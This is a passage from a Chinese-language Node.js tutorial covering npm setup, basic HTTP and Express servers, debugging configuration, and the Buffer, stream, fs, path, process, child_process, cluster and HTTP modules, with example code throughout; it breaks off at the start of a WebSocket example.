    "lint": "eslint .",
    "build": "webpack --mode production"
  },
  "keywords": ["node", "javascript", "api"],
  "author": "Your Name",
  "license": "MIT",
  "volta": {
    "node": "18.17.0",
    "npm": "9.8.0"
  },
  "dependencies": {
    "express": "^4.18.2",
    "dotenv": "^16.3.1"
  },
  "devDependencies": {
    "nodemon": "^3.0.1",
    "eslint": "^8.47.0",
    "jest": "^29.6.2"
  }
}
安装依赖
# 安装生产依赖
npm install express
npm install --save express  # 等价写法

# 安装开发依赖
npm install --save-dev nodemon
npm install -D eslint  # 简写形式

# 安装全局依赖
npm install -g pm2

# 安装所有依赖
npm install

# 安装指定版本
npm install express@4.18.2

编写与调试Node.js程序

创建一个简单的服务器
// index.js - 基础HTTP服务器
const http = require('node:http');
const url = require('node:url');

// 创建服务器
const server = http.createServer((req, res) => {
    const parsedUrl = url.parse(req.url, true);
    const path = parsedUrl.pathname;
    const method = req.method;
    
    // 设置响应头
    res.setHeader('Content-Type', 'application/json');
    res.setHeader('Access-Control-Allow-Origin', '*');
    
    // 路由处理
    if (path === '/' && method === 'GET') {
        res.statusCode = 200;
        res.end(JSON.stringify({
            message: '欢迎使用Node.js服务器',
            timestamp: new Date().toISOString(),
            pid: process.pid
        }));
    } else if (path === '/health' && method === 'GET') {
        res.statusCode = 200;
        res.end(JSON.stringify({
            status: 'healthy',
            uptime: process.uptime(),
            memory: process.memoryUsage()
        }));
    } else {
        res.statusCode = 404;
        res.end(JSON.stringify({
            error: '页面未找到',
            path
        }));
    }
});

// 错误处理
server.on('error', (error) => {
    console.error('服务器错误:', error);
});

// 启动服务器
const PORT = process.env.PORT || 3000;
server.listen(PORT, () => {
    console.log(`服务器运行在 http://localhost:${PORT}`);
});
// express-server.js - 使用Express框架
const express = require('express');
const path = require('node:path');

const app = express();

// 中间件配置
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));

// 日志中间件
app.use((req, res, next) => {
    console.log(`${new Date().toISOString()} - ${req.method} ${req.url}`);
    next();
});

// 路由定义
app.get('/', (req, res) => {
    res.json({
        message: 'Express服务器运行中',
        version: require('./package.json').version,
        environment: process.env.NODE_ENV || 'development'
    });
});

app.get('/api/users', (req, res) => {
    // 模拟用户数据
    const users = [
        { id: 1, name: '张三', email: 'zhangsan@example.com' },
        { id: 2, name: '李四', email: 'lisi@example.com' }
    ];
    res.json(users);
});

app.post('/api/users', (req, res) => {
    const { name, email } = req.body;
    
    if (!name || !email) {
        return res.status(400).json({
            error: '姓名和邮箱不能为空'
        });
    }
    
    const newUser = {
        id: Date.now(),
        name,
        email,
        createdAt: new Date().toISOString()
    };
    
    res.status(201).json(newUser);
});

// 错误处理中间件
app.use((error, req, res, next) => {
    console.error('错误:', error);
    res.status(500).json({
        error: '服务器内部错误'
    });
});

// 404处理
app.use((req, res) => {
    res.status(404).json({
        error: '接口不存在'
    });
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
    console.log(`Express服务器运行在端口 ${PORT}`);
});
运行项目
# 直接运行
node index.js

# 使用npm scripts
npm start
npm run dev

# 使用PM2(生产环境)
pm2 start index.js --name "my-app"
pm2 status
pm2 logs my-app
使用npm脚本调试
// package.json中的scripts配置
{
  "scripts": {
    "start": "node index.js",
    "dev": "nodemon --inspect index.js",
    "dev:watch": "nodemon --watch src --ext js,json index.js",
    "debug": "node --inspect-brk index.js",
    "test": "jest",
    "test:watch": "jest --watch",
    "lint": "eslint .",
    "lint:fix": "eslint . --fix",
    "build": "webpack --mode production"
  }
}

调试配置:

# 启动调试模式
npm run debug

# 使用Chrome DevTools调试
# 打开 chrome://inspect
# 点击 "inspect" 链接

# VS Code调试配置 (.vscode/launch.json)
{
  "version": "0.2.0",
  "configurations": [
    {
      "name": "启动程序",
      "type": "node",
      "request": "launch",
      "program": "${workspaceFolder}/index.js",
      "env": {
        "NODE_ENV": "development"
      },
      "console": "integratedTerminal"
    },
    {
      "name": "调试测试",
      "type": "node",
      "request": "launch",
      "program": "${workspaceFolder}/node_modules/.bin/jest",
      "args": ["--runInBand"],
      "console": "integratedTerminal"
    }
  ]
}

Node.js核心模块详解

模块系统概述

Node.js采用CommonJS模块系统,同时支持ES模块。以下是核心模块的分类:

graph TD
    A[Node.js核心模块] --> B[文件系统]
    A --> C[网络通信]
    A --> D[进程管理]
    A --> E[数据处理]
    A --> F[实用工具]
    
    B --> B1[fs - 文件系统]
    B --> B2[path - 路径处理]
    
    C --> C1[http/https - HTTP服务]
    C --> C2[net - TCP网络]
    C --> C3[dgram - UDP协议]
    
    D --> D1[process - 进程对象]
    D --> D2[child_process - 子进程]
    D --> D3[cluster - 集群]
    
    E --> E1[buffer - 二进制数据]
    E --> E2[stream - 数据流]
    E --> E3[crypto - 加密]
    
    F --> F1[util - 实用函数]
    F --> F2[os - 操作系统]
    F --> F3[events - 事件发射器]

常见问题解析

1. 为什么有时使用node:fs,而有时使用fs

历史背景与最佳实践:

// 传统方式(向后兼容)
const fs = require('fs');
const path = require('path');
const http = require('http');

// 现代方式(Node.js 14+)
const fs = require('node:fs');
const path = require('node:path');
const http = require('node:http');

使用场景对比:

方式 优点 缺点 推荐场景
fs 向后兼容、简洁 可能的命名冲突 兼容老版本Node.js
node:fs 明确标识核心模块、避免冲突 需要Node.js 14+ 现代项目、团队开发

实际应用示例:

// 可能的问题:第三方模块命名冲突
// 如果安装了名为'fs'的第三方包
const fs = require('fs'); // 可能引用第三方模块

// 解决方案:使用node:前缀
const fs = require('node:fs'); // 确保使用核心模块

// ES模块中的使用
import { readFile } from 'node:fs/promises';
import { join } from 'node:path';
2. 什么是Buffer和Streams?两者有什么区别?

Buffer:二进制数据处理

// Buffer基础用法
const buffer1 = Buffer.alloc(10); // 创建10字节的buffer
const buffer2 = Buffer.from('Hello World', 'utf8'); // 从字符串创建
const buffer3 = Buffer.from([0x48, 0x65, 0x6c, 0x6c, 0x6f]); // 从数组创建

// Buffer操作示例
class BufferExample {
    static basicOperations() {
        const buf = Buffer.from('Node.js Buffer示例');
        
        console.log('Buffer长度:', buf.length);
        console.log('Buffer内容:', buf.toString('utf8'));
        console.log('Buffer十六进制:', buf.toString('hex'));
        console.log('Buffer Base64:', buf.toString('base64'));
        
        // 写入数据
        const writeBuf = Buffer.alloc(20);
        writeBuf.write('Hello', 0, 'utf8');
        writeBuf.write(' World', 5, 'utf8');
        console.log('写入结果:', writeBuf.toString());
        
        return buf;
    }
    
    static bufferConversion() {
        // JSON数据的Buffer处理
        const jsonData = { name: '张三', age: 25 };
        const jsonString = JSON.stringify(jsonData);
        const jsonBuffer = Buffer.from(jsonString, 'utf8');
        
        console.log('原始数据:', jsonData);
        console.log('Buffer大小:', jsonBuffer.length);
        
        // 解析回JSON
        const parsedData = JSON.parse(jsonBuffer.toString('utf8'));
        console.log('解析结果:', parsedData);
    }
}

BufferExample.basicOperations();
BufferExample.bufferConversion();

Streams:流式数据处理

const fs = require('node:fs');
const { Transform, pipeline } = require('node:stream');
const { promisify } = require('node:util');

// 可读流示例
class CustomReadableStream extends require('node:stream').Readable {
    constructor(options) {
        super(options);
        this.current = 0;
        this.max = 5;
    }
    
    _read() {
        if (this.current < this.max) {
            this.push(`数据块 ${this.current++}\n`);
        } else {
            this.push(null); // 结束流
        }
    }
}

// 可写流示例
class CustomWritableStream extends require('node:stream').Writable {
    constructor(options) {
        super(options);
        this.chunks = [];
    }
    
    _write(chunk, encoding, callback) {
        console.log(`接收到数据: ${chunk.toString()}`);
        this.chunks.push(chunk);
        callback();
    }
    
    _final(callback) {
        console.log('所有数据处理完成');
        console.log('总数据量:', Buffer.concat(this.chunks).length);
        callback();
    }
}

// 转换流示例
class UpperCaseTransform extends Transform {
    _transform(chunk, encoding, callback) {
        const upperChunk = chunk.toString().toUpperCase();
        callback(null, upperChunk);
    }
}

// 流的实际应用
async function streamExamples() {
    // 文件流处理
    const readStream = fs.createReadStream('input.txt');
    const writeStream = fs.createWriteStream('output.txt');
    const transform = new UpperCaseTransform();
    
    // 使用pipeline处理流(推荐方式)
    const pipelineAsync = promisify(pipeline);
    
    try {
        await pipelineAsync(readStream, transform, writeStream);
        console.log('文件处理完成');
    } catch (error) {
        console.error('流处理错误:', error);
    }
    
    // 自定义流使用
    const customRead = new CustomReadableStream();
    const customWrite = new CustomWritableStream();
    
    customRead.pipe(customWrite);
}

// 大文件处理示例
class LargeFileProcessor {
    static async processLargeFile(inputPath, outputPath) {
        const readStream = fs.createReadStream(inputPath, { 
            highWaterMark: 64 * 1024 // 64KB chunks
        });
        const writeStream = fs.createWriteStream(outputPath);
        
        let totalBytes = 0;
        let chunkCount = 0;
        
        // 监听流事件
        readStream.on('data', (chunk) => {
            totalBytes += chunk.length;
            chunkCount++;
            console.log(`处理第 ${chunkCount} 个数据块, 大小: ${chunk.length} 字节`);
        });
        
        readStream.on('end', () => {
            console.log(`文件处理完成, 总大小: ${totalBytes} 字节`);
        });
        
        readStream.on('error', (error) => {
            console.error('读取错误:', error);
        });
        
        writeStream.on('error', (error) => {
            console.error('写入错误:', error);
        });
        
        // 使用管道传输
        readStream.pipe(writeStream);
    }
}

streamExamples().catch(console.error);

Buffer vs Streams对比:

特性 Buffer Streams
内存使用 一次性加载到内存 分块处理,内存效率高
适用场景 小文件、完整数据处理 大文件、实时数据
处理方式 同步/异步操作 异步流式处理
性能 快速随机访问 高吞吐量处理
复杂度 简单直接 需要理解流概念

文件系统操作

fs模块深度应用

const fs = require('node:fs');
const fsPromises = require('node:fs/promises');
const path = require('node:path');

class FileSystemManager {
    constructor(basePath = './') {
        this.basePath = basePath;
    }
    
    // 文件基础操作
    async fileOperations() {
        try {
            // 读取文件(多种方式)
            const data1 = await fsPromises.readFile('config.json', 'utf8');
            console.log('异步读取:', JSON.parse(data1));
            
            // 同步读取(谨慎使用)
            const data2 = fs.readFileSync('config.json', 'utf8');
            console.log('同步读取:', JSON.parse(data2));
            
            // 写入文件
            const newData = { 
                updated: new Date().toISOString(),
                version: '1.0.1'
            };
            await fsPromises.writeFile('config.json', JSON.stringify(newData, null, 2));
            console.log('文件写入成功');
            
            // 追加内容
            await fsPromises.appendFile('log.txt', `日志时间: ${new Date()}\n`);
            
        } catch (error) {
            console.error('文件操作错误:', error);
        }
    }
    
    // 目录操作
    async directoryOperations() {
        const dirPath = path.join(this.basePath, 'testDir');
        
        try {
            // 创建目录
            await fsPromises.mkdir(dirPath, { recursive: true });
            console.log('目录创建成功');
            
            // 读取目录内容
            const files = await fsPromises.readdir(dirPath, { withFileTypes: true });
            
            for (const file of files) {
                const filePath = path.join(dirPath, file.name);
                const stats = await fsPromises.stat(filePath);
                
                console.log({
                    name: file.name,
                    isDirectory: file.isDirectory(),
                    isFile: file.isFile(),
                    size: stats.size,
                    created: stats.birthtime,
                    modified: stats.mtime
                });
            }
            
        } catch (error) {
            console.error('目录操作错误:', error);
        }
    }
    
    // 文件监听
    watchFiles(watchPath) {
        const watcher = fs.watch(watchPath, { recursive: true }, (eventType, filename) => {
            console.log(`文件变化: ${eventType} - ${filename}`);
            
            if (eventType === 'change') {
                this.handleFileChange(path.join(watchPath, filename));
            }
        });
        
        // 优雅关闭监听
        process.on('SIGINT', () => {
            watcher.close();
            console.log('文件监听已关闭');
            process.exit(0);
        });
        
        return watcher;
    }
    
    async handleFileChange(filePath) {
        try {
            const stats = await fsPromises.stat(filePath);
            console.log(`文件 ${filePath} 已修改,大小: ${stats.size} 字节`);
        } catch (error) {
            console.error('获取文件信息失败:', error);
        }
    }
    
    // 文件复制和移动
    async copyAndMove() {
        try {
            // 复制文件
            await fsPromises.copyFile('source.txt', 'backup.txt');
            console.log('文件复制成功');
            
            // 重命名/移动文件
            await fsPromises.rename('backup.txt', 'moved-backup.txt');
            console.log('文件移动成功');
            
            // 删除文件
            await fsPromises.unlink('moved-backup.txt');
            console.log('文件删除成功');
            
        } catch (error) {
            console.error('文件操作失败:', error);
        }
    }
}

// 高级文件处理类
class AdvancedFileProcessor {
    // 批量文件处理
    static async processFilesInBatch(directory, processor) {
        const files = await fsPromises.readdir(directory);
        const results = [];
        
        // 并发处理(控制并发数)
        const concurrency = 5;
        for (let i = 0; i < files.length; i += concurrency) {
            const batch = files.slice(i, i + concurrency);
            const batchPromises = batch.map(file => 
                processor(path.join(directory, file))
            );
            
            const batchResults = await Promise.allSettled(batchPromises);
            results.push(...batchResults);
        }
        
        return results;
    }
    
    // 文件压缩示例
    static async compressFile(inputPath, outputPath) {
        const zlib = require('node:zlib');
        const readStream = fs.createReadStream(inputPath);
        const writeStream = fs.createWriteStream(outputPath);
        const gzipStream = zlib.createGzip();
        
        return new Promise((resolve, reject) => {
            readStream
                .pipe(gzipStream)
                .pipe(writeStream)
                .on('finish', resolve)
                .on('error', reject);
        });
    }
    
    // 文件完整性检查
    static async calculateChecksum(filePath, algorithm = 'sha256') {
        const crypto = require('node:crypto');
        const hash = crypto.createHash(algorithm);
        const stream = fs.createReadStream(filePath);
        
        for await (const chunk of stream) {
            hash.update(chunk);
        }
        
        return hash.digest('hex');
    }
}

// 使用示例
const fileManager = new FileSystemManager();
fileManager.fileOperations();
fileManager.directoryOperations();

path模块实用工具

const path = require('node:path');

class PathUtils {
    static demonstratePathOperations() {
        const filePath = '/Users/username/projects/node-app/src/index.js';
        
        console.log('路径操作示例:');
        console.log('原始路径:', filePath);
        console.log('目录名:', path.dirname(filePath));
        console.log('文件名:', path.basename(filePath));
        console.log('扩展名:', path.extname(filePath));
        console.log('解析结果:', path.parse(filePath));
        
        // 路径拼接
        const newPath = path.join('/Users', 'username', 'projects', 'new-file.txt');
        console.log('拼接路径:', newPath);
        
        // 相对路径转换
        const relativePath = path.relative('/Users/username', filePath);
        console.log('相对路径:', relativePath);
        
        // 绝对路径解析
        const absolutePath = path.resolve('./src', '../config.json');
        console.log('绝对路径:', absolutePath);
    }
    
    // 跨平台路径处理
    static crossPlatformPaths() {
        // Windows: C:\Users\username\file.txt
        // Unix: /home/username/file.txt
        
        const configPath = path.join(process.cwd(), 'config', 'app.json');
        const logPath = path.join(process.cwd(), 'logs', 'app.log');
        
        console.log('配置文件路径:', configPath);
        console.log('日志文件路径:', logPath);
        console.log('平台分隔符:', path.sep);
        console.log('路径分隔符:', path.delimiter);
    }
}

PathUtils.demonstratePathOperations();
PathUtils.crossPlatformPaths();

进程管理模块

process对象详解

class ProcessManager {
    constructor() {
        this.setupProcessHandlers();
    }
    
    // 进程信息获取
    getProcessInfo() {
        const info = {
            // 基础信息
            pid: process.pid,
            ppid: process.ppid,
            platform: process.platform,
            arch: process.arch,
            version: process.version,
            versions: process.versions,
            
            // 运行时信息
            uptime: process.uptime(),
            cwd: process.cwd(),
            execPath: process.execPath,
            argv: process.argv,
            
            // 内存使用情况
            memoryUsage: process.memoryUsage(),
            
            // CPU使用情况
            cpuUsage: process.cpuUsage(),
            
            // 环境变量
            env: {
                NODE_ENV: process.env.NODE_ENV,
                PORT: process.env.PORT,
                // 只显示部分环境变量
                PATH: process.env.PATH ? '...(隐藏)' : undefined
            }
        };
        
        return info;
    }
    
    // 命令行参数处理
    parseCommandLineArgs() {
        const args = process.argv.slice(2); // 去掉node和脚本路径
        const parsedArgs = {};
        const flags = [];
        
        for (let i = 0; i < args.length; i++) {
            const arg = args[i];
            
            if (arg.startsWith('--')) {
                // 长选项 --key=value 或 --key value
                const [key, value] = arg.slice(2).split('=');
                if (value !== undefined) {
                    parsedArgs[key] = value;
                } else if (i + 1 < args.length && !args[i + 1].startsWith('-')) {
                    parsedArgs[key] = args[++i];
                } else {
                    parsedArgs[key] = true;
                }
            } else if (arg.startsWith('-')) {
                // 短选项 -p 3000
                const key = arg.slice(1);
                if (i + 1 < args.length && !args[i + 1].startsWith('-')) {
                    parsedArgs[key] = args[++i];
                } else {
                    flags.push(key);
                }
            } else {
                // 位置参数
                if (!parsedArgs._) parsedArgs._ = [];
                parsedArgs._.push(arg);
            }
        }
        
        return { args: parsedArgs, flags };
    }
    
    // 进程信号处理
    setupProcessHandlers() {
        // 优雅关闭
        process.on('SIGTERM', this.handleShutdown.bind(this));
        process.on('SIGINT', this.handleShutdown.bind(this));
        
        // 未捕获异常
        process.on('uncaughtException', (error) => {
            console.error('未捕获异常:', error);
            // 记录错误后退出
            this.logError(error);
            process.exit(1);
        });
        
        // 未处理的Promise拒绝
        process.on('unhandledRejection', (reason, promise) => {
            console.error('未处理的Promise拒绝:', reason);
            console.error('在Promise:', promise);
            // 可以选择退出或继续运行
            this.logError(reason);
        });
        
        // 警告事件
        process.on('warning', (warning) => {
            console.warn('Node.js警告:', warning.name);
            console.warn('消息:', warning.message);
            console.warn('堆栈:', warning.stack);
        });
    }
    
    async handleShutdown(signal) {
        console.log(`接收到${signal}信号,开始优雅关闭...`);
        
        try {
            // 清理资源
            await this.cleanup();
            
            console.log('应用已优雅关闭');
            process.exit(0);
        } catch (error) {
            console.error('关闭过程中出错:', error);
            process.exit(1);
        }
    }
    
    async cleanup() {
        // 关闭数据库连接
        // 停止定时器
        // 完成当前请求
        // 等等清理工作
        console.log('执行清理工作...');
        await new Promise(resolve => setTimeout(resolve, 1000));
    }
    
    logError(error) {
        const errorLog = {
            timestamp: new Date().toISOString(),
            error: error.message,
            stack: error.stack,
            pid: process.pid,
            memory: process.memoryUsage()
        };
        
        // 这里可以写入文件或发送到日志服务
        console.error('错误详情:', JSON.stringify(errorLog, null, 2));
    }
    
    // 进程性能监控
    startPerformanceMonitoring(interval = 10000) {
        const monitor = setInterval(() => {
            const usage = process.memoryUsage();
            const cpu = process.cpuUsage();
            
            console.log('性能指标:', {
                timestamp: new Date().toISOString(),
                memory: {
                    rss: Math.round(usage.rss / 1024 / 1024) + 'MB',
                    heapUsed: Math.round(usage.heapUsed / 1024 / 1024) + 'MB',
                    heapTotal: Math.round(usage.heapTotal / 1024 / 1024) + 'MB',
                    external: Math.round(usage.external / 1024 / 1024) + 'MB'
                },
                cpu: {
                    user: cpu.user,
                    system: cpu.system
                },
                uptime: Math.round(process.uptime()) + 's'
            });
        }, interval);
        
        return monitor;
    }
}

// 使用示例
const processManager = new ProcessManager();

console.log('进程信息:');
console.log(JSON.stringify(processManager.getProcessInfo(), null, 2));

console.log('\n命令行参数:');
console.log(processManager.parseCommandLineArgs());

// 启动性能监控
const monitor = processManager.startPerformanceMonitoring(5000);

// 5分钟后停止监控
setTimeout(() => {
    clearInterval(monitor);
    console.log('性能监控已停止');
}, 300000);

child_process和cluster区别详解

// child_process示例
const { spawn, exec, fork } = require('node:child_process');
const path = require('node:path');

class ChildProcessManager {
    // exec使用示例 - 执行shell命令
    static async executeCommand(command) {
        return new Promise((resolve, reject) => {
            exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
                if (error) {
                    reject({ error, stderr });
                } else {
                    resolve(stdout);
                }
            });
        });
    }
    
    // spawn使用示例 - 长时间运行的进程
    static runLongProcess() {
        const child = spawn('node', ['-e', `
            setInterval(() => {
                console.log('子进程运行中...', new Date().toISOString());
            }, 2000);
        `]);
        
        child.stdout.on('data', (data) => {
            console.log(`子进程输出: ${data}`);
        });
        
        child.stderr.on('data', (data) => {
            console.error(`子进程错误: ${data}`);
        });
        
        child.on('close', (code) => {
            console.log(`子进程退出,代码: ${code}`);
        });
        
        return child;
    }
    
    // fork使用示例 - Node.js子进程通信
    static createWorker() {
        const workerScript = `
            // worker.js
            process.on('message', (msg) => {
                console.log('Worker收到消息:', msg);
                
                if (msg.type === 'compute') {
                    const result = msg.data.reduce((sum, num) => sum + num, 0);
                    process.send({
                        type: 'result',
                        data: result,
                        workerId: process.pid
                    });
                }
            });
            
            process.send({ type: 'ready', workerId: process.pid });
        `;
        
        // 创建临时worker文件
        const fs = require('node:fs');
        const workerPath = path.join(__dirname, 'temp-worker.js');
        fs.writeFileSync(workerPath, workerScript);
        
        const worker = fork(workerPath);
        
        worker.on('message', (msg) => {
            console.log('主进程收到消息:', msg);
            
            if (msg.type === 'ready') {
                // 发送计算任务
                worker.send({
                    type: 'compute',
                    data: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
                });
            } else if (msg.type === 'result') {
                console.log('计算结果:', msg.data);
                worker.kill();
                // 清理临时文件
                fs.unlinkSync(workerPath);
            }
        });
        
        return worker;
    }
}

// cluster使用示例
const cluster = require('node:cluster');
const http = require('node:http');
const numCPUs = require('node:os').cpus().length;

class ClusterManager {
    static setupCluster() {
        if (cluster.isMaster) {
            this.setupMaster();
        } else {
            this.setupWorker();
        }
    }
    
    static setupMaster() {
        console.log(`主进程 ${process.pid} 正在运行`);
        
        // 创建工作进程
        for (let i = 0; i < Math.min(4, numCPUs); i++) {
            cluster.fork();
        }
        
        // 监听工作进程事件
        cluster.on('online', (worker) => {
            console.log(`工作进程 ${worker.process.pid} 已上线`);
        });
        
        cluster.on('exit', (worker, code, signal) => {
            console.log(`工作进程 ${worker.process.pid} 已退出`);
            
            // 自动重启工作进程
            if (!worker.exitedAfterDisconnect) {
                console.log('重启工作进程...');
                cluster.fork();
            }
        });
        
        // 优雅关闭
        process.on('SIGTERM', () => {
            console.log('主进程收到SIGTERM信号');
            
            for (const id in cluster.workers) {
                cluster.workers[id].kill();
            }
        });
        
        // 工作进程负载监控
        setInterval(() => {
            const workers = Object.keys(cluster.workers).length;
            console.log(`当前活跃工作进程数: ${workers}`);
        }, 10000);
    }
    
    static setupWorker() {
        // 创建HTTP服务器
        const server = http.createServer((req, res) => {
            const startTime = Date.now();
            
            // 模拟一些处理时间
            setTimeout(() => {
                const processTime = Date.now() - startTime;
                
                res.writeHead(200, { 'Content-Type': 'application/json' });
                res.end(JSON.stringify({
                    pid: process.pid,
                    timestamp: new Date().toISOString(),
                    processTime: processTime,
                    url: req.url,
                    method: req.method
                }));
            }, Math.random() * 100); // 0-100ms的随机延迟
        });
        
        server.listen(3000, () => {
            console.log(`工作进程 ${process.pid} 监听端口 3000`);
        });
        
        // 优雅关闭处理
        process.on('SIGTERM', () => {
            console.log(`工作进程 ${process.pid} 收到SIGTERM信号`);
            
            server.close(() => {
                process.exit(0);
            });
        });
    }
}

// 使用示例
async function demonstrateChildProcess() {
    try {
        // 执行系统命令
        const result = await ChildProcessManager.executeCommand('ls -la');
        console.log('命令执行结果:', result);
        
        // 创建长时间运行的子进程
        const longProcess = ChildProcessManager.runLongProcess();
        
        // 5秒后终止
        setTimeout(() => {
            longProcess.kill();
        }, 5000);
        
        // 创建worker进程
        ChildProcessManager.createWorker();
        
    } catch (error) {
        console.error('子进程操作失败:', error);
    }
}

// 启动集群(需要在单独文件中运行)
// ClusterManager.setupCluster();

demonstrateChildProcess();

child_process vs cluster 对比总结:

特性 child_process cluster
目的 通用子进程创建和管理 专门用于HTTP服务器集群
灵活性 可执行任何程序 仅限Node.js应用
负载均衡 需要手动实现 自动负载均衡
进程通信 多种方式(IPC、流、管道) 内置IPC通信
适用场景 外部命令、CPU密集任务 Web服务器、API服务
复杂度 需要更多手动管理 更高级的抽象

网络通信模块

HTTP服务器高级应用

const http = require('node:http');
const https = require('node:https');
const fs = require('node:fs');
const url = require('node:url');
const querystring = require('node:querystring');

class HTTPServerManager {
    constructor() {
        this.server = null;
        this.connections = new Set();
    }
    
    // 创建基础HTTP服务器
    createBasicServer(port = 3000) {
        this.server = http.createServer((req, res) => {
            this.handleRequest(req, res);
        });
        
        // 连接管理
        this.server.on('connection', (socket) => {
            this.connections.add(socket);
            socket.on('close', () => {
                this.connections.delete(socket);
            });
        });
        
        this.server.listen(port, () => {
            console.log(`HTTP服务器运行在端口 ${port}`);
        });
        
        return this.server;
    }
    
    async handleRequest(req, res) {
        const startTime = Date.now();
        const parsedUrl = url.parse(req.url, true);
        const pathname = parsedUrl.pathname;
        const method = req.method;
        
        // 设置通用响应头
        res.setHeader('Content-Type', 'application/json; charset=utf-8');
        res.setHeader('X-Powered-By', 'Node.js');
        res.setHeader('Access-Control-Allow-Origin', '*');
        
        try {
            // 路由处理
            if (pathname === '/' && method === 'GET') {
                this.handleHome(req, res);
            } else if (pathname === '/api/users' && method === 'GET') {
                await this.handleGetUsers(req, res);
            } else if (pathname === '/api/users' && method === 'POST') {
                await this.handleCreateUser(req, res);
            } else if (pathname.startsWith('/api/users/') && method === 'GET') {
                const userId = pathname.split('/')[3];
                await this.handleGetUser(req, res, userId);
            } else if (pathname === '/upload' && method === 'POST') {
                await this.handleFileUpload(req, res);
            } else {
                this.handleNotFound(req, res);
            }
            
        } catch (error) {
            this.handleError(req, res, error);
        }
        
        // 记录请求日志
        const duration = Date.now() - startTime;
        console.log(`${method} ${pathname} - ${res.statusCode} - ${duration}ms`);
    }
    
    handleHome(req, res) {
        const serverInfo = {
            message: '欢迎使用Node.js HTTP服务器',
            timestamp: new Date().toISOString(),
            server: {
                platform: process.platform,
                nodeVersion: process.version,
                pid: process.pid,
                uptime: process.uptime()
            },
            memory: process.memoryUsage(),
            endpoints: [
                'GET /',
                'GET /api/users',
                'POST /api/users',
                'GET /api/users/:id',
                'POST /upload'
            ]
        };
        
        res.statusCode = 200;
        res.end(JSON.stringify(serverInfo, null, 2));
    }
    
    async handleGetUsers(req, res) {
        // 模拟从数据库获取用户
        const users = [
            { id: 1, name: '张三', email: 'zhangsan@example.com', createdAt: new Date().toISOString() },
            { id: 2, name: '李四', email: 'lisi@example.com', createdAt: new Date().toISOString() }
        ];
        
        // 模拟异步操作
        await new Promise(resolve => setTimeout(resolve, 100));
        
        res.statusCode = 200;
        res.end(JSON.stringify({
            data: users,
            total: users.length,
            timestamp: new Date().toISOString()
        }));
    }
    
    async handleCreateUser(req, res) {
        const body = await this.parseRequestBody(req);
        
        try {
            const userData = JSON.parse(body);
            
            // 验证数据
            if (!userData.name || !userData.email) {
                res.statusCode = 400;
                res.end(JSON.stringify({
                    error: '姓名和邮箱不能为空',
                    code: 'VALIDATION_ERROR'
                }));
                return;
            }
            
            // 创建新用户(模拟)
            const newUser = {
                id: Date.now(),
                name: userData.name,
                email: userData.email,
                createdAt: new Date().toISOString()
            };
            
            res.statusCode = 201;
            res.end(JSON.stringify({
                message: '用户创建成功',
                data: newUser
            }));
            
        } catch (error) {
            res.statusCode = 400;
            res.end(JSON.stringify({
                error: '无效的JSON格式',
                code: 'INVALID_JSON'
            }));
        }
    }
    
    async handleGetUser(req, res, userId) {
        // 模拟数据库查询
        await new Promise(resolve => setTimeout(resolve, 50));
        
        if (!userId || isNaN(userId)) {
            res.statusCode = 400;
            res.end(JSON.stringify({
                error: '无效的用户ID',
                code: 'INVALID_USER_ID'
            }));
            return;
        }
        
        // 模拟用户数据
        const user = {
            id: parseInt(userId),
            name: `用户${userId}`,
            email: `user${userId}@example.com`,
            profile: {
                age: 25 + parseInt(userId),
                city: '北京',
                hobbies: ['阅读', '编程', '旅游']
            },
            createdAt: new Date().toISOString()
        };
        
        res.statusCode = 200;
        res.end(JSON.stringify({
            data: user,
            timestamp: new Date().toISOString()
        }));
    }
    
    async handleFileUpload(req, res) {
        try {
            const contentType = req.headers['content-type'];
            
            if (!contentType || !contentType.includes('multipart/form-data')) {
                res.statusCode = 400;
                res.end(JSON.stringify({
                    error: '请使用multipart/form-data格式上传文件',
                    code: 'INVALID_CONTENT_TYPE'
                }));
                return;
            }
            
            const body = await this.parseRequestBody(req);
            const uploadInfo = {
                size: body.length,
                timestamp: new Date().toISOString(),
                contentType: contentType
            };
            
            // 这里应该处理实际的文件上传逻辑
            // 保存文件、生成文件名等
            
            res.statusCode = 200;
            res.end(JSON.stringify({
                message: '文件上传成功',
                uploadInfo
            }));
            
        } catch (error) {
            res.statusCode = 500;
            res.end(JSON.stringify({
                error: '文件上传失败',
                code: 'UPLOAD_ERROR'
            }));
        }
    }
    
    handleNotFound(req, res) {
        res.statusCode = 404;
        res.end(JSON.stringify({
            error: '页面未找到',
            code: 'NOT_FOUND',
            path: req.url,
            method: req.method,
            timestamp: new Date().toISOString()
        }));
    }
    
    handleError(req, res, error) {
        console.error('服务器错误:', error);
        
        res.statusCode = 500;
        res.end(JSON.stringify({
            error: '服务器内部错误',
            code: 'INTERNAL_ERROR',
            timestamp: new Date().toISOString(),
            // 开发环境下可以返回错误详情
            ...(process.env.NODE_ENV === 'development' && {
                details: error.message,
                stack: error.stack
            })
        }));
    }
    
    // 解析请求体
    parseRequestBody(req) {
        return new Promise((resolve, reject) => {
            let body = '';
            req.on('data', chunk => {
                body += chunk.toString();
            });
            req.on('end', () => {
                resolve(body);
            });
            req.on('error', reject);
        });
    }
    
    // 优雅关闭服务器
    async gracefulShutdown() {
        return new Promise((resolve) => {
            console.log('开始关闭HTTP服务器...');
            
            // 停止接受新连接
            this.server.close(() => {
                console.log('HTTP服务器已关闭');
                resolve();
            });
            
            // 关闭现有连接
            for (const connection of this.connections) {
                connection.end();
            }
            
            // 5秒后强制关闭
            setTimeout(() => {
                for (const connection of this.connections) {
                    connection.destroy();
                }
                resolve();
            }, 5000);
        });
    }
}

// HTTPS服务器
class HTTPSServerManager extends HTTPServerManager {
    createHTTPSServer(port = 443, certOptions) {
        const options = certOptions || {
            key: fs.readFileSync('path/to/private-key.pem'),
            cert: fs.readFileSync('path/to/certificate.pem')
        };
        
        this.server = https.createServer(options, (req, res) => {
            this.handleRequest(req, res);
        });
        
        this.server.listen(port, () => {
            console.log(`HTTPS服务器运行在端口 ${port}`);
        });
        
        return this.server;
    }
}

// 使用示例
const httpManager = new HTTPServerManager();
httpManager.createBasicServer(3000);

// 优雅关闭处理
process.on('SIGTERM', async () => {
    await httpManager.gracefulShutdown();
    process.exit(0);
});

process.on('SIGINT', async () => {
    await httpManager.gracefulShutdown();
    process.exit(0);
});

WebSocket通信示例

// 注意:这是一个WebSocket的简化实现示例
const http = require('node:http');
const crypto = require('node:crypto');

class SimpleWebSocketServer {
